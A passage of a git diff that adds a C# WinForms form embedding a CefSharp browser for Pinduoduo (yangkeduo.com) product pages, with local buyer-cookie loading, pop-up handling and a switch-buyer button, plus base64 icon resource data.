wEhy/+3K1v/78vX//PX3//z19//78/X/+vDz/8Vnef++P2v/vkBs/74/bP++P2v/vj5q/74+av+9PWr/ + vTxp/708af+9O2n/vTto/8xqjf/Maoz/y2mL/8toi//LZ4r/y2aK/8pmif/KZYn/ymSI/8ljh//JYob/ + yWKG//Tg5v///////v7+//nv8v/w0tz/6bvL/8pvg/+4QF3/xll//8ZYf//GV37/xVZ+/8VVfP/FVHz/ + xVN8/8RTe//EUnr/xFF5/8NQeP/DT3f/w053/8NNd//CTXb/wkx1/8JMdf/CS3X/wkp1/8FKdP/BSXP/ + wUhz/8FIc//BR3P/wUdz/96ftv/57PH/+vH0//vz9v/78/X/+vH0/+rIzv+2Nlf/v0Ft/79Bbf++QG3/ + vkBs/74/a/++Pmv/vj5q/749av+9PWn/vTxp/708af/MbI3/zGuN/8xqjP/LaYv/y2iL/8toi//LZ4r/ + ymaJ/8plif/KZIn/ymOI/8ljh//Vh6L//v7+///////9+vv/9eHo/+3I1f/ntcf/wVxv/7tFZP/GWoD/ + xll//8ZYfv/GV37/xVZ9/8VVfP/FVHz/xFN7/8RSev/EUXn/xFB4/8NPd//DTnf/w053/8NNdv/CTHX/ + wkx1/8JLdf/CS3X/wkp0/8FJdP/BSXP/wUhz/9aIo//35+3/+ezx//rw8v/68PP/+e7y//ns8P/AWm// + vkJt/79Cbv+/Qm7/v0Ft/79Abf++QGz/vj9s/74/a/++Pmr/vj5q/709av+9PGn/zG2O/8xsjf/Ma43/ + zGqN/8xqjP/LaYv/y2iL/8tniv/LZor/ymaJ/8plif/KZIj/yWOH/+i9zP///////v7+//rv8//y2OD/ + 68LQ/+ayxP/DX3P/uUJg/8dagP/GWX//xlh//8ZXfv/FVn7/xVV8/8VUfP/FU3z/xFJ6/8RSev/EUXn/ + w1B4/8NPd//DTnf/w013/8JNdv/CTHX/wkx1/8JLdf/CSnX/wUp0/9eJpf/14uj/9+ju//nu8f/67/L/ + +Ozx//fo7f/Xl6T/uz5l/8BEb/+/Q27/v0Ju/79Cbv+/QW3/v0Ft/75Abf++QGz/vj9r/74+a/++Pmr/ + vj1q/81uj//NbY7/zGyO/8xsjf/Ma43/zGqM/8tpi//LaIv/y2iL/8tniv/KZon/ymWJ/8pkif/Sf53/ + ///////////9+vr/9+bs//DT3f/rwc//57TF/811if+1PFb/xVd8/8ZagP/GWX//xlh+/8ZXfv/FVn3/ + xVV8/8VUfP/EU3v/xFJ6/8RRef/EUHj/w093/8NOd//DTnf/w012/8JMdf/CTHX/w1B4/9+ftv/03uX/ + 9ubs//js8f/68PP/+e3x//bn7P/04Of/tDxT/8BFcP/ARXD/wERv/8BDb/+/Q27/v0Ju/79Cbv+/QW3/ + v0Bt/75AbP++P2z/vj9r/74+av/Nb5D/zW6P/81tjv/MbY7/zGyN/8xrjf/Mao3/zGqM/8tpi//LaIv/ + y2eK/8tmiv/KZon/2pSt/////////////v3+//vz9v/15On/8dTe/+zE0v/nt8f/3Jms/7xOY/+7RmX/ + xlp//8ZZf//GWH//xld+/8VWfv/FVXz/xVR8/8VTfP/EUnr/xFJ6/8RRef/DUHj/w093/8NOd//DTXf/ + z2+Q/+q/zv/z2+P/9uTr//jt8f/68/X/+/P2//nt8f/24un/8tjg/7pMX/+/RXD/wEVx/8BFcP/ARHD/ + wERv/79Dbv+/Qm7/v0Ju/79Bbf+/QW3/vkBt/75AbP++P2v/zXCQ/81vkP/Nbo//zW6P/81tjv/MbI7/ + zGyN/8xrjf/Maoz/y2mL/8toi//LaIv/y2eK/+Ksv//////////////////9/P3/+/X3//jq7//03OT/ + 783Z/+u/zv/ntcb/1oyf/79Va/+6Q2L/w1V5/8ZZf//GWH7/xld+/8VWff/FVXz/xVR8/8RTe//EUnr/ + xFF5/8RRef/OcZH/46u+//DT3f/z3OT/9ubs//nw8//8+Pn//vv8//z6+v/58PT/9eLo//HU3v/DZHT/ + vUFp/8BGcv/ARnH/wEVw/8BFcP/ARG//wENv/79Dbv+/Qm7/v0Ju/79Bbf+/QG3/vkBs/85xkf/OcJH/ + zW+Q/81vkP/Nbo//zW2O/8xtjv/MbI3/zGuN/8xqjf/Maoz/y2mL/8toi//qwtD///////////////// + ///////+/v/+/f3//Pf4//jr8P/z3eT/787Z/+vB0P/ouMn/4ae4/898j//GZXz/wldy/79Pbv+/S2z/ + v01v/8JUdf/IYYH/0HaT/9qTqf/ousn/787Z//HW4P/14ej/+O3x//z3+f/+/f7//////////////v7/ + /Pj6//fo7v/y2OH/zn6M/7k9Yf/BR3P/wUdz/8BGcf/ARXH/wEVw/8BEcP/ARG//v0Nu/79Cbv+/Qm7/ + v0Ft/79Bbf/OcpL/znGR/85wkf/NcJD/zW+Q/81uj//Nbo//zW2O/8xsjv/MbI3/zGuN/8xqjP/LaYv/ + 8tjh///////////////////////////////////////+/v7//fr7//rw8//14un/8dTe/+7K1//swtH/ + 6r3N/+m7yv/pusr/6brL/+q8zP/rv87/68PR/+3I1P/vz9r/8tbg//Xf5//46u//+/X3//79/f////// + //////////////////////7+/v/79/j/9ubr/9qdqv+2OFn/wUhz/8FIc//BR3P/wEZy/8BGcf/ARXD/ + wEVw/8BEb//AQ2//v0Nu/79Cbv+/Qm7/znOT/85ykv/OcZL/znGR/85wkf/Nb5D/zW+Q/81uj//NbY7/ + zG2O/8xsjf/Ma43/zGqN//nu8v////////////////////////////////////////////////////// + /v39//z3+P/57fH/9uPp//Pc5P/x1t//8dPd//HT3f/x1N3/8tbf//Pa4//14Oj/9+ft//rw8//89/n/ + /v39/////////////////////////////////////////////v7+//z3+f/pxc3/szNQ/8FJc//BSHP/ + wUhz/8FHc//BR3P/wEZx/8BFcf/ARXD/wERw/8BEb/+/Q27/v0Ju/89zlP/Oc5P/znKS/85ykv/OcZH/ + znCR/81wkP/Nb5D/zW6P/81uj//NbY7/zGyO/8xsjv/9/P3/////////////////+vH0//HW3//nusv/ + 3qC1/+3M1//+/v7///////////////////////7+/v/9+/z//Pj6//v1+P/79ff/+/X3//z2+P/9+fn/ + /fv8//7+/v///////////////////////v7+/+e/yv/ZlKv/5bPF/+/T3f/68vX///////////////// + 9efq/7IzUP/CSnT/wUl0/8FJc//BSHP/wUhz/8FHc//ARnL/wEZx/8BFcP/ARXD/wERv/8BDb//PdJT/ + z3SU/89zlP/Oc5P/znKS/85xkv/OcZH/znCR/81vkP/Nb5D/zW6P/81tjv/MbY7/3J2z/+KuwP/Zk6z/ + 0HiW/8tpi//LaIv/y2eK/8tmiv/KZon/0n+c/+nBz//89vj///////////////////////////////// + ///////////////////////////////////////////79PX/5bfG/8xsi//EUnr/xFJ6/8RRef/DUHj/ + w093/8lihv/UgZ7/3qC2/9F9mf/ASnL/wkt1/8JKdf/BSnT/wUlz/8FIc//BSHP/wUdz/8FHc//ARnH/ + wEVx/8BFcP/ARHD/z3WU/891lP/PdJT/z3OU/85zk//OcpL/znKS/85xkf/OcJH/zXCQ/81vkP/Nbo// + zW6P/81tjv/MbI7/zGyN/8xrjf/Maoz/y2mL/8toiv/LaIv/y2eK/8pmif/KZYn/y2qM/9qTrP/ovc3/ + 9ODn//36+//////////////////////////////////9+vv/9N7m/+a4yP/WiaP/x1uB/8VWff/FVXz/ + xVR7/8RTe//EUnr/xFF5/8RQeP/DT3f/w053/8NOd//DTXb/wkx1/8JMdf/CS3X/wkt1/8JKdP/BSXT/ + wUlz/8FIc//BSHP/wUdz/8BGcv/ARnH/wEVw/892lf/PdZX/z3WU/890lP/PdJT/z3OU/85zk//OcpL/ + znGS/85xkf/OcJH/zW+Q/81vkP/Nbo//zW2O/8xtjv/MbI3/zGuN/8xqjf/Maoz/y2mL/8toiv/LZ4r/ + y2aK/8pmif/KZYn/ymSI/8ljh//JZIj/z3SU/9SBnv/Wh6P/1Yai/9N/nf/OcJH/x16D/8dbgf/HWoD/ + xll//8ZYf//GV37/xVZ9/8VVff/FVHz/xVN7/8RSev/EUnr/xFF5/8NQeP/DT3f/w053/8NNd//CTXb/ + wkx1/8JLdf/CS3X/wkp1/8FKdP/BSXP/wUhz/8FIc//BR3P/wUdz/8BGcf/Qd5b/z3aV/892lf/PdZT/ + z3WU/890lP/Pc5T/znOT/85ykv/OcpL/znGR/85wkf/NcJD/zW+Q/81uj//Nbo//zW2O/8xsjv/MbI3/ + zGuN/8xqjP/LaYv/y2iK/8toi//LZ4r/ymaJ/8plif/KZIj/ymOI/8ljh//JYob/yWGF/8hghf/IX4T/ + yF6E/8hdg//HXIL/x1uB/8dagP/GWoD/xll//8ZYfv/GV37/xVZ9/8VVfP/FVHv/xFN7/8RSev/EUXn/ + xFB4/8NPd//DTnf/w053/8NNdv/CTHX/wkx1/8JLdf/CS3X/wkp0/8FJdP/BSXP/wUhz/8FIc//BR3P/ + 0HeW/9B3lv/Pdpb/z3aV/891lf/PdZT/z3SU/890lP/Pc5T/znOT/85ykv/OcZL/znGR/85wkf/Nb5D/ + zW+Q/81uj//NbY7/zG2O/8xsjf/Ma43/zGqN/8xqjP/LaYv/y2iK/8tniv/LZor/ymaJ/8plif/KZIj/ + yWOI/8lih//JYYb/yWCF/8hfhP/IX4T/yF6D/8ddgv/HXIH/x1uB/8dagP/GWX//xlh//8ZXfv/FVn3/ + xVV9/8VUfP/FU3v/xFJ7/8RSev/EUXn/w1B4/8NPd//DTnf/w013/8JNdv/CTHX/wkt1/8JLdf/CSnX/ + wUp0/8FJc//BSHP/wUhz/9B4l//Qd5b/0HeW/9B3lv/PdpX/z3aV/891lP/PdZT/z3SU/89zlP/Oc5P/ + znKS/85ykv/OcZH/znCR/81wkP/Nb5D/zW6P/81uj//NbY7/zGyO/8xsjf/Ma43/zGqM/8tpi//LaIr/ + y2iL/8tniv/KZon/ymWJ/8pkiP/KY4j/yWOH/8lihv/JYYX/yGCF/8hfhP/IXoT/yF2D/8dcgv/HW4H/ + x1qA/8ZagP/GWX//xlh+/8ZXfv/FVn3/xVV8/8VUe//EU3v/xFJ6/8RRef/DUHj/w093/8NOd//DTnf/ + w012/8JMdf/CTHX/wkt1/8JLdf/CSnT/wUl0/8FJc//QeJf/0HiX/9B4l//Qd5b/0HeW/892lv/PdpX/ + z3WV/891lP/PdJT/z3SU/89zlP/Oc5P/znKS/85xkv/OcZH/znCR/81vkP/Nb5D/zW6P/81tjv/MbY7/ + zGyN/8xrjf/Mao3/zGqM/8tpi//LaIr/y2eK/8tmiv/KZon/ymWJ/8pkiP/JY4j/yWKH/8lhhv/JYIX/ + yF+E/8hfhP/IXoP/x12C/8dcgf/HW4H/x1qA/8ZZf//GWH//xld+/8VWff/FVX3/xVR8/8VTe//EUnv/ + xFJ6/8RRef/DUHj/w093/8NOd//DTXf/wk12/8JMdf/CS3X/wkt1/8JKdf/BSnT/0HiX/9B4l//QeJf/ + 0HiX/9B3lv/Qd5b/0HeW/892lf/PdpX/z3WU/891lP/PdJT/z3OU/85zk//OcpL/znKS/85xkv/OcJH/ + zXCQ/81vkP/Nbo//zW6P/81tjv/MbI7/zGyN/8xrjf/Maoz/y2mL/8toiv/LaIv/y2eK/8pmif/KZYn/ + ymSI/8pjiP/JY4f/yWKG/8lhhf/IYIX/yF+E/8hehP/IXYP/x1yC/8dbgf/HWoD/xlqA/8ZZf//GWH7/ + xld+/8VWff/FVXz/xVR7/8RTe//EUnr/xFF5/8NQeP/DT3f/w053/8NOd//DTXb/wkx1/8JMdf/CS3X/ + wkt1/9F7mfnQeJf/0HiX/9B4l//QeJf/0HiX/9B3lv/Qd5b/z3aW/892lf/PdZX/z3WU/890lP/PdJT/ + z3OU/85zk//OcpL/znGS/85xkf/OcJH/zW+Q/81vkP/Nbo//zW2O/8xtjv/MbI3/zGuN/8xqjf/Maoz/ + y2mL/8toiv/LZ4r/ymaK/8pmif/KZYn/ymSI/8ljiP/JYof/yWGG/8lghf/IX4T/yF+E/8heg//HXYL/ + x1yB/8dbgf/HWoD/xll//8ZYfv/GV37/xVZ9/8VVff/FVHz/xVN7/8RSe//EUXn/xFF5/8NQeP/DT3f/ + w053/8NNd//CTXb/wkx1/8NPePnRkafD0HiX/9B4l//QeJf/0HiX/9B4l//QeJf/0HeW/9B3lv/Qd5b/ + z3aV/892lf/PdZT/z3WU/890lP/Pc5T/znOT/85ykv/OcpL/znGS/85wkf/NcJD/zW+Q/81uj//Nbo// + zW2O/8xsjv/Ma43/zGuN/8xqjP/LaYv/y2iK/8toi//LZ4r/ymaJ/8plif/KZIj/ymOI/8ljh//JYob/ + yWGF/8hghf/IX4T/yF6E/8hdg//HXIL/x1uB/8dagP/GWoD/xll//8ZYfv/GV37/xVZ9/8VVfP/FVHv/ + xFN7/8RSev/EUXn/w1B4/8NPd//DTnf/w053/8NNdv/GcY/E187RPdF7mfnQeJf/0HiX/9B4l//QeJf/ + 0HiX/9B4l//QeJf/0HeW/9B3lv/Pdpb/z3aV/891lf/PdZT/z3SU/890lP/Pc5T/znOT/85ykv/OcZL/ + znGR/85wkf/Nb5D/zW+Q/81uj//NbY7/zG2O/8xsjf/Ma43/zGqN/8tqjP/LaYv/y2iK/8tniv/KZor/ + ymaJ/8plif/KZIj/yWOI/8lih//JYYb/yWCF/8hfhP/IX4T/yF6D/8ddgv/HXIH/x1uB/8dagP/GWX// + xlh+/8ZXfv/FVn3/xVV9/8VUfP/FU3v/xFJ7/8RRef/EUXn/w1B4/8NPd//EUnr51snOPf///wDXzdA+ + 0ZGnw9F7mfnQeJf/0HiX/9B4l//QeJf/0HiX/9B4l//Qd5b/0HeW/9B2lv/PdpX/z3aV/891lP/PdZT/ + z3SU/89zlP/Oc5P/znKS/85ykv/OcZL/znCR/81wkP/Nb5D/zW6P/81uj//NbY7/zGyO/8xrjf/Ma43/ + zGqM/8tpi//LaIr/y2iL/8tniv/KZon/ymWJ/8pkiP/KY4j/yWOH/8lihv/JYYX/yGCF/8hfhP/IXoT/ + yF2D/8dcgv/HW4H/x1qA/8ZagP/GWX//xlh+/8ZXfv/FVn3/xVV8/8VUe//EU3v/xFJ6/8VVfPnHdZHD + 1cnNPv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/29WxOrder/ToolForms/CefForm.cs b/29WxOrder/ToolForms/CefForm.cs new file mode 100644 index 0000000..7ce2eb9 --- /dev/null +++ b/29WxOrder/ToolForms/CefForm.cs @@ -0,0 +1,197 @@ +using CefSharp; +using CefSharp.WinForms; +using _29WxOrder.Helper; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.ToolForms +{ + public partial class CefForm : BaseForm + { + ChromiumWebBrowser cefWebBrowser = null; + + string Url = ""; + string PddBuyerCookie = ""; + List Cookies = new List(); + public CefForm(string url = "", List cookies = null) + { + InitializeComponent(); + + Url = url; + if (cookies != null) + Cookies = cookies; + + if (url.Contains("yangkeduo.com/goods.html")) + { + this.Height = 720; + this.Width = 400; + this.StartPosition = FormStartPosition.CenterScreen; + } + } + + private void CefForm_Load(object sender, EventArgs e) + { + this.StartPosition = FormStartPosition.CenterScreen; + this.splitContainer1.Panel1Collapsed = true; + + if (string.IsNullOrEmpty(Url)) + { + Url = "about:blank"; + this.TitleText = "空白页"; + } + else + { + var id = AllBase.BaseRegex.GetMatchRegexString(ref Url, "(\\d{5,30})"); + if (!string.IsNullOrEmpty(id)) + this.TitleText = id; + else + this.TitleText = Url; + } + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + var lifeHandler = new Helper.LifeSpanHandlerLocal(Helper.PopWindowType.NewTitleWindow); + lifeHandler.OnPop += LifeHandler_OnPop; + lifeHandler.parent = cefWebBrowser; + cefWebBrowser.LifeSpanHandler = lifeHandler; + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + this.splitContainer1.Panel2.Controls.Add(cefWebBrowser); + } + + Task.Run(() => + { + while (cefWebBrowser.IsLoading) + Thread.Sleep(50); + + var newCookieList = new List(); + + foreach (var cook in Cookies) + { + var t1 = CEFBrowser.SetCookieAsync(cook.Domain.Trim('.'), cook.Name + "=" + cook.Value + ";", cefWebBrowser.RequestContext.GetCookieManager(null)); + t1.Wait(2500); + } + + if (Url.Contains("yangkeduo.com/goods.html")) + { + Invoke(new Action(() => + { + this.splitContainer1.Panel1Collapsed = false; + })); + + PddBuyerCookie = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("chat_buyer_cookies")?.FirstOrDefault(); + if (!string.IsNullOrEmpty(PddBuyerCookie)) + { + var cookieArr = PddBuyerCookie.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var cookie in cookieArr) + { + newCookieList.Add(new Cookie + { + Domain = "mobile.yangkeduo.com", + Name = cookie.Split('=').FirstOrDefault(), + Value = cookie.Split('=').LastOrDefault(), + Expires = DateTime.Now.AddYears(1).AddHours(-8), + Path = "/" + }); + } + } + } + if (PddBuyerCookie != null) + { + var t2 = CEFBrowser.SetCookieAsync("mobile.yangkeduo.com", PddBuyerCookie, cefWebBrowser.RequestContext.GetCookieManager(null)); + t2.Wait(2500); + } + Thread.Sleep(500); + cefWebBrowser.Load(Url); + }); + } + + bool isOpenKefu = false; + private void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + if (e.Url.Contains("yangkeduo.com/goods.html")) + { + return; + + Task.Run(() => + { + var task = cefWebBrowser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(); + if (task.Result?.Contains("login-box") == true) + return; + + var cookies = CEFBrowser.GetCookie("yangkeduo.com", cefWebBrowser.RequestContext.GetCookieManager(null)); + if (cookies != PddBuyerCookie) + NaiBa.Util.Helper.ConfigHelper.SaveConfig("chat_buyer_cookies", new List() { cookies }); + + // 找到上家商品后自动跳转到客服聊天 + if (!isOpenKefu) + { + isOpenKefu = true; + var jsStrBase = "function clickProductAnalysis(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_element';\r\n" + + "}\r\n"; + var jsStr = jsStrBase + "clickProductAnalysis('客服');\r\n"; + var t = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + } + }); + } + } + + private void LifeHandler_OnPop(object sender, PopData e) + { + var targetUrl = e.Url; + var lifeHandler = sender as Helper.LifeSpanHandlerLocal; + + Task.Run(() => + { + if (lifeHandler.parent != null) + { + var cookies = CEFBrowser.GetCookieList("", lifeHandler.parent.RequestContext.GetCookieManager(null)); + Invoke(new Action(() => + { + CefForm cefForm = new CefForm(targetUrl, cookies); + cefForm.Show(); + })); + } + }); + } + + private void btnChangeBuyer_Click(object sender, EventArgs e) + { + if (cefWebBrowser != null) + { + CEFBrowser.DeleteCookie(this.cefWebBrowser.RequestContext.GetCookieManager(default)); + this.cefWebBrowser.Reload(); + } + } + } +} diff --git a/29WxOrder/ToolForms/CefForm.designer.cs b/29WxOrder/ToolForms/CefForm.designer.cs new file mode 100644 index 0000000..3b81fa4 --- /dev/null +++ b/29WxOrder/ToolForms/CefForm.designer.cs @@ -0,0 +1,113 @@ +namespace _29WxOrder.ToolForms +{ + partial class CefForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CefForm)); + this.btnChangeBuyer = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(1248, 0); + // + // btnChangeBuyer + // + this.btnChangeBuyer.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnChangeBuyer.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnChangeBuyer.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnChangeBuyer.DisabledBackColor = System.Drawing.Color.Empty; + this.btnChangeBuyer.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnChangeBuyer.Location = new System.Drawing.Point(1195, 3); + this.btnChangeBuyer.Name = "btnChangeBuyer"; + this.btnChangeBuyer.Size = new System.Drawing.Size(80, 23); + this.btnChangeBuyer.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeBuyer.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnChangeBuyer.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnChangeBuyer.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnChangeBuyer.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnChangeBuyer.Style.GradientAngle = 90; + this.btnChangeBuyer.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeBuyer.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.TabIndex = 431; + this.btnChangeBuyer.Text = "切换买手"; + this.btnChangeBuyer.Click += new System.EventHandler(this.btnChangeBuyer_Click); + // + // splitContainer1 + // + this.splitContainer1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnChangeBuyer); + this.splitContainer1.Size = new System.Drawing.Size(1278, 686); + this.splitContainer1.SplitterDistance = 26; + this.splitContainer1.TabIndex = 432; + // + // CefForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1280, 720); + this.Controls.Add(this.splitContainer1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.IsShowMax = true; + this.Name = "CefForm"; + this.Text = "CefForm"; + this.TitleText = "CefForm"; + this.Load += new System.EventHandler(this.CefForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.splitContainer1.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx btnChangeBuyer; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/29WxOrder/ToolForms/CefForm.resx b/29WxOrder/ToolForms/CefForm.resx new file mode 100644 index 0000000..03e4c89 --- /dev/null +++ b/29WxOrder/ToolForms/CefForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQVQAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + 